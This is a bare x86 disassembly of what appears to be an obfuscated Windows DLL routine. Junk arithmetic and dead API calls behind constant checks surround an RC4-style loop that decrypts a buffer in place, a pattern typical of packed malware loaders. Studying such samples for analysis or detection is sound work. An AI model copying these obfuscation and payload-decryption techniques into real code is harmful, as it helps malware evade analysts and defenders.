add edx, 1
mov dword [ebp - 0x30], edx
jmp 0x10008459
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xa45
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
add edx, 0xe68
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x1033
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x3c]
add edx, 0x1612
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x1c]
sub eax, 0x22ac
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x38]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x1a06
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1620
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x833
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0xfa
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xed2
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x28]
add eax, 0x3bb
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 8]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 8]
add eax, 0xa41
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x24c2
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x10ab
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, 0x1b5a
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x88], 0
jmp 0x100085a0
mov edx, dword [ebp - 0x88]
add edx, 1
mov dword [ebp - 0x88], edx
cmp dword [ebp - 0x88], 0x20
jge 0x100085b4
mov eax, dword [ebp - 8]
sub eax, 7
mov dword [ebp - 8], eax
jmp 0x10008591
mov ecx, dword [ebp - 0x3c]
add ecx, 0xa3
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x23cc
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x99a
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x78]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x24]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x20]
sub eax, 0x1fd1
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
and edx, 0x80000003
jns 0x10008629
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x10008638
mov eax, dword [ebp - 8]
sub eax, 0x221e
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x1383
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x30]
sub eax, 0x1f0f
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x196
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x1ef4
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x38]
add eax, 0x26af
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x49
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc]
and edx, 0x80000001
jns 0x100086af
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x100086be
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x1000869f
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x30]
add ecx, 0xb7b
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, 0x1009
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x18]
add eax, 0x1329
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x1f72
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
add edx, 0xb4e
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x8c], 0
jmp 0x1000874a
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x3b
jge 0x1000875e
mov ecx, dword [ebp - 8]
sub ecx, 4
mov dword [ebp - 8], ecx
jmp 0x1000873b
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x20a0
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x1c58
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x64]
push eax
lea ecx, [ebp - 0x1c8]
push ecx
call fcn.100071f0
add esp, 0xc
jmp 0x10007e87
mov dword [ebp - 0x70], 0
cmp dword [0x1003fb04], 0x73480b1a
jne 0x10008a3d
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
push 0
push 0x10066584
push 0
push 0
push 0x100665c0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatEx]
push 0
push 0
push 0
push 0
push 0x100665f0
call dword [sym.imp.KERNEL32.dll_FindFirstStreamTransactedW]
push 0
push 0
push 0
push 0x10066614
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
call dword [sym.imp.GDI32.dll_GetGraphicsMode]
push 0
push 0
push 0x10066628
push 0
push 0
push 0
push 0
push 0x10066658
call dword [sym.imp.KERNEL32.dll_GetDurationFormatEx]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareType]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0x98], edx
push 0
mov eax, dword [ebp - 0x98]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWorldTransform]
call dword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PolyBezier]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolTimer]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
push 0
push 0x10066690
push 0
push 0
push 0x100666c0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSizeEx]
push 0
call dword [sym.imp.KERNEL32.dll_SetSearchPathMode]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetUILanguageInfo]
push 0x100666e4
push 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidthFloatW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeTransactedW]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreatePen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push 0
push 0
push 0x100666fc
push 0
push 0
push 0
push 0
push 0x10066730
call dword [sym.imp.KERNEL32.dll_GetDurationFormatEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryWhenCallbackReturns]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x74], 0
jmp 0x10008a56
mov ecx, dword [ebp - 0x74]
add ecx, 1
mov dword [ebp - 0x74], ecx
mov edx, dword [ebp - 0x74]
cmp edx, dword [ebp - 0x9c]
jge 0x10008f4d
mov eax, dword [ebp - 0x70]
add eax, 1
and eax, 0x800000ff
jns 0x10008a79
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 4], 0x1d4c
mov dword [ebp - 0x44], 0
mov ecx, dword [ebp - 4]
sub ecx, 0x820
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xbe9
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x18ff
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x44]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x44]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10008ae3
mov edx, dword [ebp - 0x44]
add edx, 0x9a5
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 4]
sub eax, 0x1cd7
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x26a
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x1609
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x1121
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x24f1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x1149
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x2637
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0xd8a
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xd8e
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1ca3
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x44]
and edx, 0x80000001
jns 0x10008bc1
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x10008bd2
mov eax, dword [ebp - 0x44]
sub eax, 0x1028
mov dword [ebp - 0x44], eax
jmp 0x10008bde
mov ecx, dword [ebp - 0x44]
add ecx, 0x1028
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 4]
sub edx, 0x17a0
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x625
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0xb45
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1ab7
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x70]
movzx ecx, byte [ebp + eax - 0x1c8]
add ecx, dword [ebp - 0x60]
and ecx, 0x800000ff
jns 0x10008c61
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x60], ecx
mov edx, dword [0x1003fb04]
xor eax, eax
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xbc], 0xb535991b
jne 0x10008ee4
cmp dword [ebp - 0xb8], 0
jne 0x10008ee4
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectClipPath]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLanguageGroup]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push 0
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
call dword [sym.imp.GDI32.dll_CreateEllipticRgnIndirect]
push 0
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferInfoEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeTransactedW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PolyPolyline]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidthW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
push 0
push 0x10066754
push 0
push 0x10066784
push 0
call dword [sym.imp.KERNEL32.dll_FindStringOrdinal]
push 0
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReclaimVirtualMemory]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetupComm]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_DebugSetProcessKillOnExit]
push 0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x100667b0
push 0
push 0x100667e4
call dword [sym.imp.KERNEL32.dll_LCMapStringEx]
mov ecx, dword [ebp - 0xc8]
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetWindowExtEx]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetBkMode]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFilePaletteEntries]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumEnhMetaFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWaitEx]
push 0
call dword [sym.imp.GDI32.dll_AddFontResourceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryProcessCycleTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
call dword [sym.imp.GDI32.dll_GetTextColor]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
lea edx, [ebp - 0x1c8]
push edx
call fcn.100071f0
add esp, 0xc
mov eax, dword [ebp - 0x70]
movzx ecx, byte [ebp + eax - 0x1c8]
mov edx, dword [ebp - 0x60]
movzx eax, byte [ebp + edx - 0x1c8]
add ecx, eax
and ecx, 0x800000ff
jns 0x10008f23
dec ecx
or ecx, 0xffffff00
inc ecx
movzx ecx, byte [ebp + ecx - 0x1c8]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x74]
movzx eax, byte [edx]
xor eax, dword [ebp - 0xa4]
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x74]
mov byte [ecx], al
jmp 0x10008a4d
mov esp, ebp
pop ebp
ret